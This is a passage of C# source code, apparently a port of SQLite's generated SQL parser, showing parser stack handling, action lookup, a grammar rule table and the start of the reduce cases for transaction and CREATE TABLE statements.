*/\n    static int yy_pop_parser_stack(yyParser pParser)\n    {\n      YYCODETYPE yymajor;\n      yyStackEntry yytos = pParser.yystack[pParser.yyidx];\n\n      /* There is no mechanism by which the parser stack can be popped below\n      ** empty in SQLite.  */\n      if (NEVER(pParser.yyidx < 0)) return 0;\n#if !NDEBUG\n      if (yyTraceFILE != null && pParser.yyidx >= 0)\n      {\n        fprintf(yyTraceFILE, \"%sPopping %s\\n\",\n        yyTracePrompt,\n        yyTokenName[yytos.major]);\n      }\n#endif\n      yymajor = yytos.major;\n      yy_destructor(pParser, yymajor, yytos.minor);\n      pParser.yyidx--;\n      return yymajor;\n    }\n\n    /*\n    ** Deallocate and destroy a parser.  Destructors are all called for\n    ** all stack elements before shutting the parser down.\n    **\n    ** Inputs:\n    ** <ul>\n    ** <li>  A pointer to the parser.  This should be a pointer\n    **       obtained from sqlite3ParserAlloc.\n    ** <li>  A pointer to a function used to reclaim memory obtained\n    **       from malloc.\n    ** </ul>\n    */\n    static void sqlite3ParserFree(\n    yyParser p,                    /* The parser to be deleted */\n    dxDel freeProc//)(void*)     /* Function used to reclaim memory */\n    )\n    {\n      yyParser pParser = p;\n      /* In SQLite, we never try to destroy a parser that was not successfully\n      ** created in the first place. */\n      if (NEVER(pParser == null)) return;\n      while (pParser.yyidx >= 0) yy_pop_parser_stack(pParser);\n#if YYSTACKDEPTH//<=0\npParser.yystack = null;//free(pParser.yystack);\n#endif\n      pParser = null;// freeProc(ref pParser);\n    }\n\n    /*\n    ** Return the peak depth of the stack for a parser.\n    */\n#if YYTRACKMAXSTACKDEPTH\nint sqlite3ParserStackPeak(void p){\nyyParser pParser = (yyParser*)p;\nreturn pParser.yyidxMax;\n}\n#endif\n\n    /*\n** Find the appropriate action for a parser given the terminal\n** look-ahead token iLookAhead.\n**\n** If the look-ahead token is YYNOCODE, then check to see if the action is\n** independent of the look-ahead.  If it is, return the action, otherwise\n** return YY_NO_ACTION.\n*/\n    static int yy_find_shift_action(\n    yyParser pParser,         /* The parser */\n    YYCODETYPE iLookAhead     /* The look-ahead token */\n    )\n    {\n      int i;\n      int stateno = pParser.yystack[pParser.yyidx].stateno;\n\n      if (stateno > YY_SHIFT_MAX || (i = yy_shift_ofst[stateno]) == YY_SHIFT_USE_DFLT)\n      {\n        return yy_default[stateno];\n      }\n      Debug.Assert(iLookAhead != YYNOCODE);\n      i += iLookAhead;\n      if (i < 0 || i >= YY_SZ_ACTTAB || yy_lookahead[i] != iLookAhead)\n      {\n        /* The user of \";\" instead of \"\\000\" as a statement terminator in SQLite\n        ** means that we always have a look-ahead token. */\n        if (iLookAhead > 0)\n        {\n#if YYFALLBACK\n          YYCODETYPE iFallback;            /* Fallback token */\n          if (iLookAhead < yyFallback.Length //yyFallback.Length/sizeof(yyFallback[0])\n          && (iFallback = yyFallback[iLookAhead]) != 0)\n          {\n#if !NDEBUG\n            if (yyTraceFILE != null)\n            {\n              fprintf(yyTraceFILE, \"%sFALLBACK %s => %s\\n\",\n              yyTracePrompt, yyTokenName[iLookAhead], yyTokenName[iFallback]);\n            }\n#endif\n            return yy_find_shift_action(pParser, iFallback);\n          }\n#endif\n#if YYWILDCARD\n          {\n            int j = i - iLookAhead + YYWILDCARD;\n            if (j >= 0 && j < YY_SZ_ACTTAB && yy_lookahead[j] == YYWILDCARD)\n            {\n#if !NDEBUG\n              if (yyTraceFILE != null)\n              {\n                Debugger.Break(); // TODO --\n                //fprintf(yyTraceFILE, \"%sWILDCARD %s => %s\\n\",\n                //   yyTracePrompt, yyTokenName[iLookAhead], yyTokenName[YYWILDCARD]);\n              }\n#endif // * NDEBUG */\n              return yy_action[j];\n            }\n          }\n#endif // * YYWILDCARD */\n        }\n        return yy_default[stateno];\n      }\n      else\n      {\n        return yy_action[i];\n      }\n    }\n\n    /*\n    ** Find the appropriate action for a parser given the non-terminal\n    ** look-ahead token iLookAhead.\n    **\n    ** If the look-ahead token is YYNOCODE, then check to see if the action is\n    ** independent of the look-ahead.  If it is, return the action, otherwise\n    ** return YY_NO_ACTION.\n    */\n    static int yy_find_reduce_action(\n    int stateno,              /* Current state number */\n    YYCODETYPE iLookAhead     /* The look-ahead token */\n    )\n    {\n      int i;\n#if YYERRORSYMBOL\nif( stateno>YY_REDUCE_MAX ){\nreturn yy_default[stateno];\n}\n#else\n      Debug.Assert(stateno <= YY_REDUCE_MAX);\n#endif\n      i = yy_reduce_ofst[stateno];\n      Debug.Assert(i != YY_REDUCE_USE_DFLT);\n      Debug.Assert(iLookAhead != YYNOCODE);\n      i += iLookAhead;\n#if YYERRORSYMBOL\nif( i<0 || i>=YY_SZ_ACTTAB || yy_lookahead[i]!=iLookAhead ){\nreturn yy_default[stateno];\n}\n#else\n      Debug.Assert(i >= 0 && i < YY_SZ_ACTTAB);\n      Debug.Assert(yy_lookahead[i] == iLookAhead);\n#endif\n      return yy_action[i];\n    }\n\n    /*\n    ** The following routine is called if the stack overflows.\n    */\n    static void yyStackOverflow(yyParser yypParser, YYMINORTYPE yypMinor)\n    {\n      Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH;\n      yypParser.yyidx--;\n#if !NDEBUG\n      if (yyTraceFILE != null)\n      {\n        Debugger.Break(); // TODO --\n        //fprintf(yyTraceFILE, \"%sStack Overflow!\\n\", yyTracePrompt);\n      }\n#endif\n      while (yypParser.yyidx >= 0) yy_pop_parser_stack(yypParser);\n      /* Here code is inserted which will execute if the parser\n      ** stack every overflows */\n      //#line 40 \"parse.y\"\n\n      UNUSED_PARAMETER(yypMinor); /* Silence some compiler warnings */\n      sqlite3ErrorMsg(pParse, \"parser stack overflow\");\n      pParse.parseError = 1;\n      //#line 1632  \"parse.c\"\n      yypParser.pParse = pParse;//      sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument var */\n    }\n\n    /*\n    ** Perform a shift action.\n    */\n    static void yy_shift(\n    yyParser yypParser,          /* The parser to be shifted */\n    int yyNewState,               /* The new state to shift in */\n    int yyMajor,                  /* The major token to shift in */\n    YYMINORTYPE yypMinor         /* Pointer to the minor token to shift in */\n    )\n    {\n      yyStackEntry yytos = new yyStackEntry();\n      yypParser.yyidx++;\n#if YYTRACKMAXSTACKDEPTH\nif( yypParser.yyidx>yypParser.yyidxMax ){\nyypParser.yyidxMax = yypParser.yyidx;\n}\n#endif\n#if !YYSTACKDEPTH//was YYSTACKDEPTH>0\n      if (yypParser.yyidx >= YYSTACKDEPTH)\n      {\n        yyStackOverflow(yypParser, yypMinor);\n        return;\n      }\n#else\nif( yypParser.yyidx>=yypParser.yystksz ){\nyyGrowStack(yypParser);\nif( yypParser.yyidx>=yypParser.yystksz ){\nyyStackOverflow(yypParser, yypMinor);\nreturn;\n}\n}\n#endif\n      yypParser.yystack[yypParser.yyidx] = yytos;//yytos = yypParser.yystack[yypParser.yyidx];\n      yytos.stateno = (YYACTIONTYPE)yyNewState;\n      yytos.major = (YYCODETYPE)yyMajor;\n      yytos.minor = yypMinor;\n#if !NDEBUG\n      if (yyTraceFILE != null && yypParser.yyidx > 0)\n      {\n        int i;\n        fprintf(yyTraceFILE, \"%sShift %d\\n\", yyTracePrompt, yyNewState);\n        fprintf(yyTraceFILE, \"%sStack:\", yyTracePrompt);\n        for (i = 1; i <= yypParser.yyidx; i++)\n          fprintf(yyTraceFILE, \" %s\", yyTokenName[yypParser.yystack[i].major]);\n        fprintf(yyTraceFILE, \"\\n\");\n      }\n#endif\n    }\n    /* The following table contains information about every rule that\n    ** is used during the reduce.\n    */\n    public struct _yyRuleInfo\n    {\n      public YYCODETYPE lhs;         /* Symbol on the left-hand side of the rule */\n      public byte nrhs;     /* Number of right-hand side symbols in the rule */\n      public _yyRuleInfo(YYCODETYPE lhs, byte nrhs)\n      {\n        this.lhs = lhs;\n        this.nrhs = nrhs;\n      }\n\n    }\n    static _yyRuleInfo[] yyRuleInfo = new _yyRuleInfo[]{\nnew _yyRuleInfo( 142, 1 ),\nnew _yyRuleInfo( 143, 2 ),\nnew _yyRuleInfo( 143, 1 ),\nnew _yyRuleInfo( 144, 1 ),\nnew _yyRuleInfo( 144, 3 ),\nnew _yyRuleInfo( 145, 0 ),\nnew _yyRuleInfo( 145, 1 ),\nnew _yyRuleInfo( 145, 3 ),\nnew _yyRuleInfo( 146, 1 ),\nnew _yyRuleInfo( 147, 3 ),\nnew _yyRuleInfo( 149, 0 ),\nnew _yyRuleInfo( 149, 1 ),\nnew _yyRuleInfo( 149, 2 ),\nnew _yyRuleInfo( 148, 0 ),\nnew _yyRuleInfo( 148, 1 ),\nnew _yyRuleInfo( 148, 1 ),\nnew _yyRuleInfo( 148, 1 ),\nnew _yyRuleInfo( 147, 2 ),\nnew _yyRuleInfo( 147, 2 ),\nnew _yyRuleInfo( 147, 2 ),\nnew _yyRuleInfo( 151, 1 ),\nnew _yyRuleInfo( 151, 0 ),\nnew _yyRuleInfo( 147, 2 ),\nnew _yyRuleInfo( 147, 3 ),\nnew _yyRuleInfo( 147, 5 ),\nnew _yyRuleInfo( 147, 2 ),\nnew _yyRuleInfo( 152, 6 ),\nnew _yyRuleInfo( 154, 1 ),\nnew _yyRuleInfo( 156, 0 ),\nnew _yyRuleInfo( 156, 3 ),\nnew _yyRuleInfo( 155, 1 ),\nnew _yyRuleInfo( 155, 0 ),\nnew _yyRuleInfo( 153, 4 ),\nnew _yyRuleInfo( 153, 2 ),\nnew _yyRuleInfo( 158, 3 ),\nnew _yyRuleInfo( 158, 1 ),\nnew _yyRuleInfo( 161, 3 ),\nnew _yyRuleInfo( 162, 1 ),\nnew _yyRuleInfo( 165, 1 ),\nnew _yyRuleInfo( 165, 1 ),\nnew _yyRuleInfo( 166, 1 ),\nnew _yyRuleInfo( 150, 1 ),\nnew _yyRuleInfo( 150, 1 ),\nnew _yyRuleInfo( 150, 1 ),\nnew _yyRuleInfo( 163, 0 ),\nnew _yyRuleInfo( 163, 1 ),\nnew _yyRuleInfo( 167, 1 ),\nnew _yyRuleInfo( 167, 4 ),\nnew _yyRuleInfo( 167, 6 ),\nnew _yyRuleInfo( 168, 1 ),\nnew _yyRuleInfo( 168, 2 ),\nnew _yyRuleInfo( 169, 1 ),\nnew _yyRuleInfo( 169, 1 ),\nnew _yyRuleInfo( 164, 2 ),\nnew _yyRuleInfo( 164, 0 ),\nnew _yyRuleInfo( 172, 3 ),\nnew _yyRuleInfo( 172, 1 ),\nnew _yyRuleInfo( 173, 2 ),\nnew _yyRuleInfo( 173, 4 ),\nnew _yyRuleInfo( 173, 3 ),\nnew _yyRuleInfo( 173, 3 ),\nnew _yyRuleInfo( 173, 2 ),\nnew _yyRuleInfo( 173, 2 ),\nnew _yyRuleInfo( 173, 3 ),\nnew _yyRuleInfo( 173, 5 ),\nnew _yyRuleInfo( 173, 2 ),\nnew _yyRuleInfo( 173, 4 ),\nnew _yyRuleInfo( 173, 4 ),\nnew _yyRuleInfo( 173, 1 ),\nnew _yyRuleInfo( 173, 2 ),\nnew _yyRuleInfo( 178, 0 ),\nnew _yyRuleInfo( 178, 1 ),\nnew _yyRuleInfo( 180, 0 ),\nnew _yyRuleInfo( 180, 2 ),\nnew _yyRuleInfo( 182, 2 ),\nnew _yyRuleInfo( 182, 3 ),\nnew _yyRuleInfo( 182, 3 ),\nnew _yyRuleInfo( 182, 3 ),\nnew _yyRuleInfo( 183, 2 ),\nnew _yyRuleInfo( 183, 2 ),\nnew _yyRuleInfo( 183, 1 ),\nnew _yyRuleInfo( 183, 1 ),\nnew _yyRuleInfo( 181, 3 ),\nnew _yyRuleInfo( 181, 2 ),\nnew _yyRuleInfo( 184, 0 ),\nnew _yyRuleInfo( 184, 2 ),\nnew _yyRuleInfo( 184, 2 ),\nnew _yyRuleInfo( 159, 0 ),\nnew _yyRuleInfo( 159, 2 ),\nnew _yyRuleInfo( 185, 3 ),\nnew _yyRuleInfo( 185, 2 ),\nnew _yyRuleInfo( 185, 1 ),\nnew _yyRuleInfo( 186, 2 ),\nnew _yyRuleInfo( 186, 7 ),\nnew _yyRuleInfo( 186, 5 ),\nnew _yyRuleInfo( 186, 5 ),\nnew _yyRuleInfo( 186, 10 ),\nnew _yyRuleInfo( 188, 0 ),\nnew _yyRuleInfo( 188, 1 ),\nnew _yyRuleInfo( 176, 0 ),\nnew _yyRuleInfo( 176, 3 ),\nnew _yyRuleInfo( 189, 0 ),\nnew _yyRuleInfo( 189, 2 ),\nnew _yyRuleInfo( 190, 1 ),\nnew _yyRuleInfo( 190, 1 ),\nnew _yyRuleInfo( 190, 1 ),\nnew _yyRuleInfo( 147, 4 ),\nnew _yyRuleInfo( 192, 2 ),\nnew _yyRuleInfo( 192, 0 ),\nnew _yyRuleInfo( 147, 8 ),\nnew _yyRuleInfo( 147, 4 ),\nnew _yyRuleInfo( 147, 1 ),\nnew _yyRuleInfo( 160, 1 ),\nnew _yyRuleInfo( 160, 3 ),\nnew _yyRuleInfo( 195, 1 ),\nnew _yyRuleInfo( 195, 2 ),\nnew _yyRuleInfo( 195, 1 ),\nnew _yyRuleInfo( 194, 9 ),\nnew _yyRuleInfo( 196, 1 ),\nnew _yyRuleInfo( 196, 1 ),\nnew _yyRuleInfo( 196, 0 ),\nnew _yyRuleInfo( 204, 2 ),\nnew _yyRuleInfo( 204, 0 ),\nnew _yyRuleInfo( 197, 3 ),\nnew _yyRuleInfo( 197, 2 ),\nnew _yyRuleInfo( 197, 4 ),\nnew _yyRuleInfo( 205, 2 ),\nnew _yyRuleInfo( 205, 1 ),\nnew _yyRuleInfo( 205, 0 ),\nnew _yyRuleInfo( 198, 0 ),\nnew _yyRuleInfo( 198, 2 ),\nnew _yyRuleInfo( 207, 2 ),\nnew _yyRuleInfo( 207, 0 ),\nnew _yyRuleInfo( 206, 7 ),\nnew _yyRuleInfo( 206, 7 ),\nnew _yyRuleInfo( 206, 7 ),\nnew _yyRuleInfo( 157, 0 ),\nnew _yyRuleInfo( 157, 2 ),\nnew _yyRuleInfo( 193, 2 ),\nnew _yyRuleInfo( 208, 1 ),\nnew _yyRuleInfo( 208, 2 ),\nnew _yyRuleInfo( 208, 3 ),\nnew _yyRuleInfo( 208, 4 ),\nnew _yyRuleInfo( 210, 2 ),\nnew _yyRuleInfo( 210, 0 ),\nnew _yyRuleInfo( 209, 0 ),\nnew _yyRuleInfo( 209, 3 ),\nnew _yyRuleInfo( 209, 2 ),\nnew _yyRuleInfo( 211, 4 ),\nnew _yyRuleInfo( 211, 0 ),\nnew _yyRuleInfo( 202, 0 ),\nnew _yyRuleInfo( 202, 3 ),\nnew _yyRuleInfo( 214, 4 ),\nnew _yyRuleInfo( 214, 2 ),\nnew _yyRuleInfo( 215, 1 ),\nnew _yyRuleInfo( 177, 1 ),\nnew _yyRuleInfo( 177, 1 ),\nnew _yyRuleInfo( 177, 0 ),\nnew _yyRuleInfo( 200, 0 ),\nnew _yyRuleInfo( 200, 3 ),\nnew _yyRuleInfo( 201, 0 ),\nnew _yyRuleInfo( 201, 2 ),\nnew _yyRuleInfo( 203, 0 ),\nnew _yyRuleInfo( 203, 2 ),\nnew _yyRuleInfo( 203, 4 ),\nnew _yyRuleInfo( 203, 4 ),\nnew _yyRuleInfo( 147, 5 ),\nnew _yyRuleInfo( 199, 0 ),\nnew _yyRuleInfo( 199, 2 ),\nnew _yyRuleInfo( 147, 7 ),\nnew _yyRuleInfo( 217, 5 ),\nnew _yyRuleInfo( 217, 3 ),\nnew _yyRuleInfo( 147, 8 ),\nnew _yyRuleInfo( 147, 5 ),\nnew _yyRuleInfo( 147, 6 ),\nnew _yyRuleInfo( 218, 2 ),\nnew _yyRuleInfo( 218, 1 ),\nnew _yyRuleInfo( 220, 3 ),\nnew _yyRuleInfo( 220, 1 ),\nnew _yyRuleInfo( 219, 0 ),\nnew _yyRuleInfo( 219, 3 ),\nnew _yyRuleInfo( 213, 3 ),\nnew _yyRuleInfo( 213, 1 ),\nnew _yyRuleInfo( 175, 1 ),\nnew _yyRuleInfo( 175, 3 ),\nnew _yyRuleInfo( 174, 1 ),\nnew _yyRuleInfo( 175, 1 ),\nnew _yyRuleInfo( 175, 1 ),\nnew _yyRuleInfo( 175, 3 ),\nnew _yyRuleInfo( 175, 5 ),\nnew _yyRuleInfo( 174, 1 ),\nnew _yyRuleInfo( 174, 1 ),\nnew _yyRuleInfo( 175, 1 ),\nnew _yyRuleInfo( 175, 1 ),\nnew _yyRuleInfo( 175, 3 ),\nnew _yyRuleInfo( 175, 6 ),\nnew _yyRuleInfo( 175, 5 ),\nnew _yyRuleInfo( 175, 4 ),\nnew _yyRuleInfo( 174, 1 ),\nnew _yyRuleInfo( 175, 3 ),\nnew _yyRuleInfo( 175, 3 ),\nnew _yyRuleInfo( 175, 3 ),\nnew _yyRuleInfo( 175, 3 ),\nnew _yyRuleInfo( 175, 3 ),\nnew _yyRuleInfo( 175, 3 ),\nnew _yyRuleInfo( 175, 3 ),\nnew _yyRuleInfo( 175, 3 ),\nnew _yyRuleInfo( 222, 1 ),\nnew _yyRuleInfo( 222, 2 ),\nnew _yyRuleInfo( 222, 1 ),\nnew _yyRuleInfo( 222, 2 ),\nnew _yyRuleInfo( 223, 2 ),\nnew _yyRuleInfo( 223, 0 ),\nnew _yyRuleInfo( 175, 4 ),\nnew _yyRuleInfo( 175, 2 ),\nnew _yyRuleInfo( 175, 3 ),\nnew _yyRuleInfo( 175, 3 ),\nnew _yyRuleInfo( 175, 4 ),\nnew _yyRuleInfo( 175, 2 ),\nnew _yyRuleInfo( 175, 2 ),\nnew _yyRuleInfo( 175, 2 ),\nnew _yyRuleInfo( 175, 2 ),\nnew _yyRuleInfo( 224, 1 ),\nnew _yyRuleInfo( 224, 2 ),\nnew _yyRuleInfo( 175, 5 ),\nnew _yyRuleInfo( 225, 1 ),\nnew _yyRuleInfo( 225, 2 ),\nnew _yyRuleInfo( 175, 5 ),\nnew _yyRuleInfo( 175, 3 ),\nnew _yyRuleInfo( 175, 5 ),\nnew _yyRuleInfo( 175, 4 ),\nnew _yyRuleInfo( 175, 4 ),\nnew _yyRuleInfo( 175, 5 ),\nnew _yyRuleInfo( 227, 5 ),\nnew _yyRuleInfo( 227, 4 ),\nnew _yyRuleInfo( 228, 2 ),\nnew _yyRuleInfo( 228, 0 ),\nnew _yyRuleInfo( 226, 1 ),\nnew _yyRuleInfo( 226, 0 ),\nnew _yyRuleInfo( 221, 1 ),\nnew _yyRuleInfo( 221, 0 ),\nnew _yyRuleInfo( 216, 3 ),\nnew _yyRuleInfo( 216, 1 ),\nnew _yyRuleInfo( 147, 11 ),\nnew _yyRuleInfo( 229, 1 ),\nnew _yyRuleInfo( 229, 0 ),\nnew _yyRuleInfo( 179, 0 ),\nnew _yyRuleInfo( 179, 3 ),\nnew _yyRuleInfo( 187, 5 ),\nnew _yyRuleInfo( 187, 3 ),\nnew _yyRuleInfo( 230, 0 ),\nnew _yyRuleInfo( 230, 2 ),\nnew _yyRuleInfo( 147, 4 ),\nnew _yyRuleInfo( 147, 1 ),\nnew _yyRuleInfo( 147, 2 ),\nnew _yyRuleInfo( 147, 3 ),\nnew _yyRuleInfo( 147, 5 ),\nnew _yyRuleInfo( 147, 6 ),\nnew _yyRuleInfo( 147, 5 ),\nnew _yyRuleInfo( 147, 6 ),\nnew _yyRuleInfo( 231, 1 ),\nnew _yyRuleInfo( 231, 1 ),\nnew _yyRuleInfo( 231, 1 ),\nnew _yyRuleInfo( 231, 1 ),\nnew _yyRuleInfo( 231, 1 ),\nnew _yyRuleInfo( 170, 2 ),\nnew _yyRuleInfo( 171, 2 ),\nnew _yyRuleInfo( 233, 1 ),\nnew _yyRuleInfo( 232, 1 ),\nnew _yyRuleInfo( 232, 0 ),\nnew _yyRuleInfo( 147, 5 ),\nnew _yyRuleInfo( 234, 11 ),\nnew _yyRuleInfo( 236, 1 ),\nnew _yyRuleInfo( 236, 1 ),\nnew _yyRuleInfo( 236, 2 ),\nnew _yyRuleInfo( 236, 0 ),\nnew _yyRuleInfo( 237, 1 ),\nnew _yyRuleInfo( 237, 1 ),\nnew _yyRuleInfo( 237, 3 ),\nnew _yyRuleInfo( 238, 0 ),\nnew _yyRuleInfo( 238, 3 ),\nnew _yyRuleInfo( 239, 0 ),\nnew _yyRuleInfo( 239, 2 ),\nnew _yyRuleInfo( 235, 3 ),\nnew _yyRuleInfo( 235, 2 ),\nnew _yyRuleInfo( 241, 1 ),\nnew _yyRuleInfo( 241, 3 ),\nnew _yyRuleInfo( 242, 0 ),\nnew _yyRuleInfo( 242, 3 ),\nnew _yyRuleInfo( 242, 2 ),\nnew _yyRuleInfo( 240, 7 ),\nnew _yyRuleInfo( 240, 8 ),\nnew _yyRuleInfo( 240, 5 ),\nnew _yyRuleInfo( 240, 5 ),\nnew _yyRuleInfo( 240, 1 ),\nnew _yyRuleInfo( 175, 4 ),\nnew _yyRuleInfo( 175, 6 ),\nnew _yyRuleInfo( 191, 1 ),\nnew _yyRuleInfo( 191, 1 ),\nnew _yyRuleInfo( 191, 1 ),\nnew _yyRuleInfo( 147, 4 ),\nnew _yyRuleInfo( 147, 6 ),\nnew _yyRuleInfo( 147, 3 ),\nnew _yyRuleInfo( 244, 0 ),\nnew _yyRuleInfo( 244, 2 ),\nnew _yyRuleInfo( 243, 1 ),\nnew _yyRuleInfo( 243, 0 ),\nnew _yyRuleInfo( 147, 1 ),\nnew _yyRuleInfo( 147, 3 ),\nnew _yyRuleInfo( 147, 1 ),\nnew _yyRuleInfo( 147, 3 ),\nnew _yyRuleInfo( 147, 6 ),\nnew _yyRuleInfo( 147, 6 ),\nnew _yyRuleInfo( 245, 1 ),\nnew _yyRuleInfo( 246, 0 ),\nnew _yyRuleInfo( 246, 1 ),\nnew _yyRuleInfo( 147, 1 ),\nnew _yyRuleInfo( 147, 4 ),\nnew _yyRuleInfo( 247, 7 ),\nnew _yyRuleInfo( 248, 1 ),\nnew _yyRuleInfo( 248, 3 ),\nnew _yyRuleInfo( 249, 0 ),\nnew _yyRuleInfo( 249, 2 ),\nnew _yyRuleInfo( 250, 1 ),\nnew _yyRuleInfo( 250, 3 ),\nnew _yyRuleInfo( 251, 1 ),\nnew _yyRuleInfo( 252, 0 ),\nnew _yyRuleInfo( 252, 4 ),\nnew _yyRuleInfo( 252, 2 ),\n};\n\n    //static void yy_accept(yyParser*);  /* Forward Declaration */\n\n    /*\n    ** Perform a reduce action and the shift that must immediately\n    ** follow the reduce.\n    */\n    static void yy_reduce(\n    yyParser yypParser,         /* The parser */\n    int yyruleno                 /* Number of the rule by which to reduce */\n    )\n    {\n      int yygoto;                     /* The next state */\n      int yyact;                      /* The next action */\n      YYMINORTYPE yygotominor;        /* The LHS of the rule reduced */\n      yymsp yymsp; // yyStackEntry[] yymsp = new yyStackEntry[0];            /* The top of the parser's stack */\n      int yysize;                     /* Amount to pop the stack */\n      Parse pParse = yypParser.pParse; //sqlite3ParserARG_FETCH;\n\n      yymsp = new yymsp(ref yypParser, yypParser.yyidx); //      yymsp[0] = yypParser.yystack[yypParser.yyidx];\n#if !NDEBUG\n      if (yyTraceFILE != null && yyruleno >= 0\n      && yyruleno < yyRuleName.Length)\n      { //(int)(yyRuleName.Length/sizeof(yyRuleName[0])) ){\n        fprintf(yyTraceFILE, \"%sReduce [%s].\\n\", yyTracePrompt,\n        yyRuleName[yyruleno]);\n      }\n#endif // * NDEBUG */\n\n      /* Silence complaints from purify about yygotominor being uninitialized\n** in some cases when it is copied into the stack after the following\n** switch.  yygotominor is uninitialized when a rule reduces that does\n** not set the value of its left-hand side nonterminal.  Leaving the\n** value of the nonterminal uninitialized is utterly harmless as long\n** as the value is never used.  So really the only thing this code\n** accomplishes is to quieten purify.\n**\n** 2007-01-16:  The wireshark project (www.wireshark.org) reports that\n** without this code, their parser segfaults.  I'm not sure what there\n** parser is doing to make this happen.  This is the second bug report\n** from wireshark this week.  Clearly they are stressing Lemon in ways\n** that it has not been previously stressed...  (SQLite ticket #2172)\n*/\n      yygotominor = new YYMINORTYPE(); //memset(yygotominor, 0, yygotominor).Length;\n      switch (yyruleno)\n      {\n        /* Beginning here are the reduction cases.  A typical example\n        ** follows:\n        **   case 0:\n        **  //#line <lineno> <grammarfile>\n        **     { ... }           // User supplied code\n        **  //#line <lineno> <thisfile>\n        **     break;\n        */\n        case 5: /* explain ::= */\n          //#line 109 \"parse.y\"\n          { sqlite3BeginParse(pParse, 0); }\n          //#line 2075 \"parse.c\"\n          break;\n        case 6: /* explain ::= EXPLAIN */\n          //#line 111 \"parse.y\"\n          { sqlite3BeginParse(pParse, 1); }\n          //#line 2080 \"parse.c\"\n          break;\n        case 7: /* explain ::= EXPLAIN QUERY PLAN */\n          //#line 112 \"parse.y\"\n          { sqlite3BeginParse(pParse, 2); }\n          //#line 2085 \"parse.c\"\n          break;\n        case 8: /* cmdx ::= cmd */\n          //#line 114 \"parse.y\"\n          { sqlite3FinishCoding(pParse); }\n          //#line 2090 \"parse.c\"\n          break;\n        case 9: /* cmd ::= BEGIN transtype trans_opt */\n          //#line 119 \"parse.y\"\n          { sqlite3BeginTransaction(pParse, yymsp[-1].minor.yy328); }\n          //#line 2095 \"parse.c\"\n          break;\n        case 13: /* transtype ::= */\n          //#line 124 \"parse.y\"\n          { yygotominor.yy328 = TK_DEFERRED; }\n          //#line 2100 \"parse.c\"\n          break;\n        case 14: /* transtype ::= DEFERRED */\n        case 15: /* transtype ::= IMMEDIATE */ //yytestcase(yyruleno==15);\n        case 16: /* transtype ::= EXCLUSIVE */ //yytestcase(yyruleno==16);\n        case 114: /* multiselect_op ::= UNION */ //yytestcase(yyruleno==114);\n        case 116: /* multiselect_op ::= EXCEPT|INTERSECT */ //yytestcase(yyruleno==116);\n          //#line 125 \"parse.y\"\n          { yygotominor.yy328 = yymsp[0].major; }\n          //#line 2109 \"parse.c\"\n          break;\n        case 17: /* cmd ::= COMMIT trans_opt */\n        case 18: /* cmd ::= END trans_opt */ //yytestcase(yyruleno==18);\n          //#line 128 \"parse.y\"\n          { sqlite3CommitTransaction(pParse); }\n          //#line 2115 \"parse.c\"\n          break;\n        case 19: /* cmd ::= ROLLBACK trans_opt */\n          //#line 130 \"parse.y\"\n          { sqlite3RollbackTransaction(pParse); }\n          //#line 2120 \"parse.c\"\n          break;\n        case 22: /* cmd ::= SAVEPOINT nm */\n          //#line 134 \"parse.y\"\n          {\n            sqlite3Savepoint(pParse, SAVEPOINT_BEGIN, yymsp[0].minor.yy0);\n          }\n          //#line 2127 \"parse.c\"\n          break;\n        case 23: /* cmd ::= RELEASE savepoint_opt nm */\n          //#line 137 \"parse.y\"\n          {\n            sqlite3Savepoint(pParse, SAVEPOINT_RELEASE, yymsp[0].minor.yy0);\n          }\n          //#line 2134 \"parse.c\"\n          break;\n        case 24: /* cmd ::= ROLLBACK trans_opt TO savepoint_opt nm */\n          //#line 140 \"parse.y\"\n          {\n            sqlite3Savepoint(pParse, SAVEPOINT_ROLLBACK, yymsp[0].minor.yy0);\n          }\n          //#line 2141 \"parse.c\"\n          break;\n        case 26: /* create_table ::= createkw temp TABLE ifnotexists nm dbnm */\n          //#line 147 \"parse.y\"\n          {\n            sqlite3StartTable(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0, yymsp[-4].minor.yy328, 0, 0, yymsp[-2].minor.yy328);\n          }\n          //#line 2148 \"parse.c\"\n          break;\n        case 27: /* createkw ::= CREATE */\n          //#line 150 \"parse.y\"\n          {\n            pParse.db.lookaside.bEnabled = 0;\n            yygotominor.yy0 = yymsp[0].minor.yy0;\n          }\n          //#line 2156 \"parse.c\"\n          break;\n        case 28: /* ifnotexists ::= */\n        case 31: /* temp ::= */ //yytestcase(yyruleno==31);\n        case 70: /* autoinc ::= */ //yytestcase(yyruleno==70);\n        case 84: /* init_deferred_pred_opt ::= */ //yytestcase(yyruleno==84);\n        case 86: /* init_deferred_pred_opt ::= INITIALLY IMMEDIATE */ //yytestcase(yyruleno==86);\n        case 97: /* defer_subclause_opt ::= */ //yytestcase(yyruleno==97);\n        case 108: /* ifexists ::= */ //yytestcase(yyruleno==108);\n        case 119: /* distinct ::= ALL */ //yytestcase(yyruleno==119);\n        case 120: /* distinct ::= */ //yytestcase(yyruleno==120);\n        case 222: /* between_op ::= BETWEEN */ //yytestcase(yyruleno==222);\n        case 225: /* in_op ::= IN */ //yytestcase(yyruleno==225);\n          //#line 155 \"parse.y\"\n          { yygotominor.yy328 = 0; }\n          //#line 2171 \"parse.c\"\n          break;\n        case 29: /* ifnotexists ::= IF NOT EXISTS */\n        case 30: /* temp ::= TEMP */ //yytestcase(yyruleno==30);\n        case 71: /* autoinc ::= AUTOINCR */ //yytestcase(yyruleno==71);\n        case 85: /* init_deferred_pred_opt ::= INITIALLY DEFERRED */ //yytestcase(yyruleno==85);\n        case 107: /* ifexists ::= IF EXISTS */ //yytestcase(yyruleno==107);\n        case 118: /* distinct ::= DISTINCT */ //yytestcase(yyruleno==118);\n        case 223: /* between_op ::= NOT BETWEEN */ //yytestcase(yyruleno==223);\n        case 226: /* in_op ::= NOT IN */ //yytestcase(yyruleno==226);\n          //#line 156 \"parse.y\"\n          { yygotominor.yy328 = 1; }\n          //#line 2183 \"parse.c\"\n          break;\n        case 32: /* create_table_args ::= LP columnlist conslist_opt RP */\n          //#line 162 \"parse.y\"\n          {\n            sqlite3EndTable(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0, 0);\n          }\n          //#line 2190 \"parse.c\"\n          break;\n        case 33: /* create_table_args ::= AS select */\n          //#line 165 \"parse.y\"\n          {\n            sqlite3EndTable(pParse, 0, 0, yymsp[0].minor.yy3);\n            sqlite3SelectDelete(pParse.db, ref yymsp[0].minor.yy3);\n          }\n          //#line 2198 \"parse.c\"\n          break;\n        case 36: /* 